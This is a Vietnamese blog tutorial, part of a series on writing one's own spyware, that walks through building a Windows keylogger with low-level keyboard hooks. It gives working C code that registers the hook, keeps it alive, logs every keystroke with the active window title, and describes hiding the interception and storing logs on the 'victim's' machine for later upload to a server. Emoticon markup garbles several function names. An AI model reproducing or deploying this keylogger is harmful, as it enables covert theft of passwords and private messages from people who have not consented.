6/27/16

Tự viết một spyware cho riêng mình - Keyboard hooking

Phần 2 này sẽ hướng dẩn các bạn cách sử dụng keyboard hooking để ghi lại các phím mà người dùng đã nhấn. Đây cũng chính là một trong những tính năng quan trọng nhất của con spy mà chúng ta đang xây dựng. Các lý thuyết về hook nói chung và keyboard hooking trong Windows nói riêng đều có ở phần 1 hoặc bạn có thể search thêm trên google để tìm hiểu kỷ hơn về phần này. Để thực hiện hook bàn phím, mình chia ra 4 giai đoạn và sẽ được lần lượt đề cập bên dưới.

Đăng ký hook

Để đăng ký keyboard hook bạn cần sử dụng hàm SetWindowsHookEx với hằng số WH_KEYBOARD_LL như sau:

HHOOK ret;
if ((ret = SetWindowsHookE<img style='border: 0; padding:0'  src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif' alt='X('/>WH_KEYBOARD_LL, (HOOKPROC)hook_proc, 0, 0)) == NULL)
{
printf("Can not register windows hook\n");
}
Nguyên bản hàm SetWindowsHookEx trên msdn như sau:
HHOOK WINAPI SetWindowsHookE<img style='border: 0; padding:0'  src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif' alt='X('/>
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);
Các đối số như sau:
  • idHook [in]: Giá trị kiểu int, nó quy định loại hook mà bạn muốn đăng ký với windows.
  • lpfn [in]: Một con trỏ hàm kiểu HOOKPROC, bạn có thể hiểu hôm na rằng windows sẽ gọi hàm(hook procedure) mà con trỏ này trỏ tới khi sự kiện hook xảy ra(ở đây chính là khi người dùng nhấn phím).
  • hMod [in]: Giá trị kiểu HINSTANCE, handle tới DLL chứa hàm mà con trỏ hàm lpfn trỏ đến. Nếu lpfn trỏ đến hàm ngay trong process hiện tại(có thể hiểu nôm na là ngay trong chương trình exe hiện tại) thì ta chỉ cần truyền NULL cho nó. Trong ví dụ trên mình truyền NULL(0) cho đối số này vì hàm mà lpfn trỏ đến nằm ngay trong chương trình thực thi của chúng ta.
  • dwThreadId [in]: Giá trị DWORD(chỉ là giá trị int thôi đừng hoang mang). Giá trị này xác định thread mà hook này được liên kết tới.
Kết quả trả về của hàm SetWindowsHookEx là một HHOOK, nếu giá trị này mà NULL thì nghĩa là đăng ký hook thất bại(hiếm thấy lắm nên đừng lo). Nhớ lưu lại giá trị này để hủy hook khi kết thúc chương trình nhé.

Keep alive

Như các bạn biết đấy, hàm hook procedure sẽ được hệ điều hành gọi khi có sự kiện hook xảy ra(như ở đây là người dùng nhấn phím). Sẽ như thế nào nếu chương trình của mình kết thúc trước khi hệ điều hành gọi hàm hook procedure nhỉ, chà, không ổn rồi. Ở đây ta cần một vòng lặp hoặc một thứ tương tự để giữ cho chương trình của ta luôn luôn chạy. Các bạn có thể dùng while(true); có thể dùng getch(), có thể dùng system("pause")... tất cả đều có thể giữ cho chương trình của ta luôn luôn chạy trong hệ thống mà không thoát ngay lập tức. Nhiều sự lựa chọn nhỉ, nhưng sự thật đau đớn là bạn chỉ có một mà thôi, trong trường hợp bạn hook WH_KEYBOARD_LL, lý do thì vì cơ chế của hook này cần thèn Get/PeekMessage() để có thể gọi hàm callback(hook procedure) khi có sự kiện hook xảy ra, cụ thể các bạn có thể đọc ở đây.

Hàm keep_alive của ta khá đơn giản như sau:

MSG msg;
//this while loop keeps the hook
while (!GetMessage(&msg, NULL, NULL, NULL)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Hàm này cần được gọi trước khi giải phóng hook và sau khi đăng ký hook nhé.

Xử lý dữ liệu hook

Sau khi đăng ký hook thành công thì ta chỉ còn việc ngồi đợi dữ liệu mà người dùng đã nhấn phím gửi về thôi. Khi có dữ liệu hook, windows sẽ gửi nó cho hàm hook procedure mà ta đã đăng ký ở trên. Ở trong hàm hook procedure này ta cần xác định được dữ liệu hook đó có phải là keyboard hook không, vì sao à, đơn giản là bạn có thể đăng ký nhiều loại hook khác nhau nhưng chỉ với một hàm hook procedure để xử lý chúng. Vì thế chúng ta cần cơ chế để phân biệt dữ liệu hook đó thuộc loại nào mà xử lý cho thích hợp. Ở đây ta chỉ có một loại hook là keyboard hook nên cũng không lăng tăng lắm về vấn đề này.

LRESULT hook_proc(int n_code, WPARAM w_param, LPARAM l_param)
{
if (n_code == HC_ACTION)
process_hkdt(w_param, l_param);
return CallNextHookE<img style='border: 0; padding:0'  src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif' alt='X('/>NULL, n_code, w_param, l_param);
}
Oh, ở đâu lại lòi ra cái thèn CallNextHookEx, để hiểu tại sao mình có một ví dụ nhỏ như sau(sẽ xúc phạm đến dân FA đấy :v): A(gái), B(trai) và C(trai) là 3 người bạn chơi với nhau đã lâu, B và C đều có tình cảm với A nhưng vì chai mặt hơn nên C đã cua đổ được A. OK, chuyện bình thường ở huyện. Vấn để xảy ra khi A và C học khác trường và dĩ nhiên là phải yêu xa rồi. Trường thèn B học thì ở giữa 2 trường của A và C. Để giữ lửa tình yêu thì A và C phải thường xuyên trao đổi thư từ sến sẩm các kiểu con đà điểu. Dể đoán là B sẽ trở thành "người đưa thư" bất đắc dĩ cho 2 tụi kia. Vì FA đã lâu và cũng ghét thèn C nên B quyết định bóc trộm thư tình tụi nó ra đọc, nhiều khi còn ghi thêm vài câu "gây xích mích" cho tụi nó chia tay chơi. Dĩ nhiên để không bị phát hiện thì B phải chuyển thư cho A đúng đúng hẹn rồi. Nhưng mà A và C đâu biết toàn bộ nội dung thư tình sến sẩm của tụi nó đã bị B đọc hết .

OK, trong câu chuyện này A chính là ứng dụng, B là chương trình hook của ta và C chính là bàn phím. Hiểu nôm na thế cũng được. Dữ liệu bàn phím sẽ được gửi tới chương trình hook của ta trước rồi sau đó mới tới ứng dụng(ví dụ như gỏ chat facebook ấy, thay vì nó gửi tới trình duyệt thì nó phải qua tay thèn chương trình hook mất dạy này). Như ví dụ ở trên thì B có thể chuyển thư cho A(nếu tâm trạng đang vui) hoặc xé thư đốt ra thành tro rồi uống(nếu B tới tháng :v). Cũng như keyboard hook, bạn có thể chuyển dữ liệu hook cho ứng dụng nếu thích hoặc hủy luôn dữ liệu đó. Trong trường hợp xây dựng spy thì càng làm ẩn mình càng tốt, tránh bị nghi ngờ để âm thầm thu thập thông tin. Ta cần chuyển dữ liệu hook lại cho ứng dụng càng nhanh càng tốt, kiểu như chưa hề có vụ "đọc trộm thư" xảy ra

Và để chuyển dữ liệu hook đó cho ứng dụng thì cần sử dụng hàm CallNextHookEx mà thôi, thật ra hàm này sẽ chuyển thông tin hook tới các hook procedure khác trong hook chain(hiểu nôm na là một danh sách chứa mấy thèn đã đăng ký hook ấy mà) hiện tại. Sau khi pass hết qua mấy cái hook procedure rồi thì mới tới lược ứng dụng. Tội thèn ứng dụng nhỉ

Vấn đề quan trọng cần bàn ở đây đó là xử lý dữ liệu nhấn phím như thế nào? Toàn bộ em nó đây:

VOID process_hkdt(WPARAM w_param, LPARAM l_param)
{
static HWND old_hwnd = NULL;// current window handle which typed on
static char w_text[255];// buffer for saving window title
static bool shift = false;// shift key state(down/up?)
//LOG("enter processing keyboard hook data...");
const KBDLLHOOKSTRUCT * kbdt = (KBDLLHOOKSTRUCT *)l_param;
if (kbdt->vkCode == VK_LSHIFT || kbdt->vkCode == VK_RSHIFT)
{
shift = (w_param == WM_KEYDOWN);
//LOG("shift is %s", shift ? "ON" : "OFF");
}
if (w_param == WM_SYSKEYDOWN || w_param == WM_KEYDOWN)
{
// save window text which typed on it
// if a new file just has been created then write window text first
const HWND new_hwnd = GetForegroundWindow();
if (old_hwnd != new_hwnd || get_position() == 0)
{
const int ret = GetWindowTextA(new_hwnd, w_text, 255);
//LOG("window text is '%s'", w_text);
write("\n[", 2);
write(w_text, ret);
write("]\n", 2);
old_hwnd = new_hwnd;
}
const bool caps = GetKeyState(VK_CAPITAL) < 0;// check caps lock pressed?
//LOG("caps is %s", caps ? "ON" : "OFF");
//LOG("write pressed key...");
switch (kbdt->vkCode)
{
case 0x30: write(shift ? ")" : "0", 1); break;
case 0x31: write(shift ? "!" : "1", 1); break;
case 0x32: write(shift ? "@" : "2", 1); break;
case 0x33: write(shift ? "#" : "3", 1); break;
case 0x34: write(shift ? "$" : "4", 1); break;
case 0x35: write(shift ? "%" : "5", 1); break;
case 0x36: write(shift ? "^" : "6", 1); break;
case 0x37: write(shift ? "&" : "7", 1); break;
case 0x38: write(shift ? "*" : "8", 1); break;
case 0x39: write(shift ? "(" : "9", 1); break;
case 0x60: write("0", 1); break;
case 0x61: write("1", 1); break;
case 0x62: write("2", 1); break;
case 0x63: write("3", 1); break;
case 0x64: write("4", 1); break;
case 0x65: write("5", 1); break;
case 0x66: write("6", 1); break;
case 0x67: write("7", 1); break;
case 0x68: write("8", 1); break;
case 0x69: write("9", 1); break;
case 0x41: write(caps ? (shift ? "a" : "A") : (shift ? "A" : "a"), 1); break;
case 0x42: write(caps ? (shift ? "b" : "B") : (shift ? "B" : "b"), 1); break;
case 0x43: write(caps ? (shift ? "c" : "C") : (shift ? "C" : "c"), 1); break;
case 0x44: write(caps ? (shift ? "d" : "D") : (shift ? "D" : "d"), 1); break;
case 0x45: write(caps ? (shift ? "e" : "E") : (shift ? "E" : "e"), 1); break;
case 0x46: write(caps ? (shift ? "f" : "F") : (shift ? "F" : "f"), 1); break;
case 0x47: write(caps ? (shift ? "g" : "G") : (shift ? "G" : "g"), 1); break;
case 0x48: write(caps ? (shift ? "h" : "H") : (shift ? "H" : "h"), 1); break;
case 0x49: write(caps ? (shift ? "i" : "I") : (shift ? "I" : "i"), 1); break;
case 0x4A: write(caps ? (shift ? "j" : "J") : (shift ? "J" : "j"), 1); break;
case 0x4B: write(caps ? (shift ? "k" : "K") : (shift ? "K" : "k"), 1); break;
case 0x4C: write(caps ? (shift ? "l" : "L") : (shift ? "L" : "l"), 1); break;
case 0x4D: write(caps ? (shift ? "m" : "M") : (shift ? "M" : "m"), 1); break;
case 0x4E: write(caps ? (shift ? "n" : "N") : (shift ? "N" : "n"), 1); break;
case 0x4F: write(caps ? (shift ? "o" : "O") : (shift ? "O" : "o"), 1); break;
case 0x50: write(caps ? (shift ? "p" : "P") : (shift ? "P" : "p"), 1); break;
case 0x51: write(caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"), 1); break;
case 0x52: write(caps ? (shift ? "r" : "R") : (shift ? "R" : "r"), 1); break;
case 0x53: write(caps ? (shift ? "s" : "S") : (shift ? "S" : "s"), 1); break;
case 0x54: write(caps ? (shift ? "t" : "T") : (shift ? "T" : "t"), 1); break;
case 0x55: write(caps ? (shift ? "u" : "U") : (shift ? "U" : "u"), 1); break;
case 0x56: write(caps ? (shift ? "v" : "V") : (shift ? "V" : "v"), 1); break;
case 0x57: write(caps ? (shift ? "w" : "W") : (shift ? "W" : "w"), 1); break;
case 0x58: write(caps ? (shift ? "x" : "X") : (shift ? "X" : "x"), 1); break;
case 0x59: write(caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"), 1); break;
case 0x5A: write(caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"), 1); break;
case VK_SPACE: write(" ", 1); break;
case VK_RETURN: write("\n", 1); break;
case VK_TAB: write("\t", 1); break;
case VK_ESCAPE: write("[ESC]", 5); break;
case VK_LEFT: write("[LEFT]", 6); break;
case VK_RIGHT: write("[RIGHT]", 7); break;
case VK_UP: write("[UP]", 4); break;
case VK_DOWN: write("[DOWN]", 6); break;
case VK_END: write("[END]", 5); break;
case VK_HOME: write("[HOME]", 6); break;
case VK_DELETE: write("[DEL]", 5); break;
case VK_BACK: write("[BACK]", 6); break;
case VK_INSERT: write("[INS]", 5); break;
case VK_LCONTROL:
case VK_RCONTROL: write("[CTRL]", 6); break;
case VK_LMENU:
case VK_RMENU: write("[ALT]", 5); break;
case VK_F1: write("[F1]", 4); break;
case VK_F2: write("[F2]", 4); break;
case VK_F3: write("[F3]", 4); break;
case VK_F4: write("[F4]", 4); break;
case VK_F5: write("[F5]", 4); break;
case VK_F6: write("[F6]", 4); break;
case VK_F7: write("[F7]", 4); break;
case VK_F8: write("[F8]", 4); break;
case VK_F9: write("[F9]", 4); break;
case VK_F10: write("[F10]", 5); break;
case VK_F11: write("[F11]", 5); break;
case VK_F12: write("[F12]", 5); break;
case VK_OEM_1: write(shift ? ":" : ";", 1); break;
case VK_OEM_2: write(shift ? "?" : "/", 1); break;
case VK_OEM_3: write(shift ? "~" : "`", 1); break;
case VK_OEM_4: write(shift ? "{" : "[", 1); break;
case VK_OEM_5: write(shift ? "|" : "\\", 1); break;
case VK_OEM_6: write(shift ? "}" : "]", 1); break;
case VK_OEM_7: write(shift ? "\"" : "'", 1); break;
case VK_OEM_PLUS: write(shift ? "+" : "=", 1); break;
case VK_OEM_COMMA: write(shift ? "<" : ",", 1); break;
case VK_OEM_MINUS: write(shift ? +"_" : "-", 1); break;
case VK_OEM_PERIOD: write(shift ? ">" : ".", 1); break;
// unknown keys
default:
DWORD _lparam = (kbdt->scanCode << 16) | (kbdt->flags << 24);
char key[16];
GetKeyNameTextA(_lparam, key, 15);
write(key, strlen(key));
break;
}
}
//LOG("finish processing keyboard hook data!");
}
Đầu tiên ta cần xác định tiêu đề cửa sổ mà người dùng đã nhấn để biết là người dùng đang online facebook, word, yahoo hay search google...
Bước tiếp theo bạn cần xác định phím Shift có đang được nhấn hay không, việc này khá quan trọng để xác định người dùng đang nhấn chữ hoa hay chữ thường,...Tương tự bạn cần xác định phím Caps Lock có đang được nhấn không. Bước cuối cùng là bạn xác định cụ thể phím được nhấn là phím nào, A, B, C, 1, 2...blabla rồi sau đó kết hợp với tình trạng của các phím Shift Caps Lock để lưu cho phù hợp.

Để xác định tiêu đề của cửa sổ hiện tại bạn cần sử dụng hàm GetForegroundWindow để lấy handle của sổ và sau đó dùng GetWindowTextA để lấy tiêu đề của nó. Khá đơn giản phải không.

Để xác định được cụ thể phím nào được nhấn bạn cần convert l_param sang cấu trúc KBDLLHOOKSTRUCT như sau:
const KBDLLHOOKSTRUCT * kbdt = (KBDLLHOOKSTRUCT *)l_param;
À, l_param sẽ chứa nội dung mà phím được nhấn còn w_param sẽ chứa tình trạng của phím(press down/up...).
Sau khi convert sang cấu trúc KBDLLHOOKSTRUCT bạn sử dụng kbdt->vkCode để lấy virtual key code của phím được nhấn, từ đó chỉ cần dùng mấy câu if else hoặc switch đơn giản là có thể lưu chính xác dữ liệu rồi.

Một điều nữa ở đây chính là việc lưu trữ dữ liệu, khi người dùng nhấn chữ A, giả sử virtual key code của nó là 65 thì bạn cần lưu xâu "A" chứ không phải là giá trị 65, tất cả đều vì mục đích dể đọc thôi

Lại một điều nữa, hàm write và hàm get_position là 2 hàm phụ trợ, hàm write sẽ lưu dữ liệu vào mảng hoặc trực tiếp vào file, hàm get_position sẽ trả về số lượng bytes hiện tại mà file hoặc mảng đang lưu. Giả sử như bạn lưu vào mảng, nếu dữ liệu lưu trữ đủ lớn bạn cần chuyển dữ liệu đó vào file và reset mảng để tiếp tục lưu dữ liệu khác. Dữ liệu được lưu vào file sẽ được tập hợp lại ở một nơi cố định trong máy nạn nhân và chờ thời cơ(có mạng :v) để gửi lên server. Đây chỉ là một cách đơn giản để giải quyết vấn đề lưu trữ cho spy của chúng ta. Ở đây còn nhiều điều phải bàn luận nữa, như cấu trúc file, làm sao để phân biệt file chứa dữ liệu keylog với file chứa dữ liệu capture screen...

Hủy hook

Cấp phát xong thì phải thu hồi, đăng ký xong thì phải hủy cũng như yêu là phải... à mà thôi Để hủy hook thì bạn cần gọi hàm UnhookWindowsHookEx, đơn giản một dòng như sau:

UnhookWindowsHookE<img style='border: 0; padding:0'  src='http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif' alt='X('/>ret);
Cơ mà thật ra cũng không cần hủy hook đâu, vì spy của ta chạy từ lúc mở máy cho đến khi tắt máy cơ mà Thôi thì cứ viết vào cho đúng theo cấu trúc vậy.

Tổng kết

Như bạn thấy đấy, với những thứ đơn giản như trên bạn hoàn toàn có thể xây dựng cho mình một con keylogger để khè gái rồi
Ở đây cũng chỉ là các bước hướng dẩn đơn giản, để hoàn tất con spy mất dạy của chúng ta thì còn cần giải quyết nhiều vấn đề nữa. Không sao, học lại 4-5 lần còn chưa nản mà cớ sao mới thấy chút khó khăn như vậy lại bỏ cuộc
Phần tiếp theo sẽ giải quyết vấn đề: Làm sao chụp ảnh màng hình đây ta?

0 nhận xét :

Post a Comment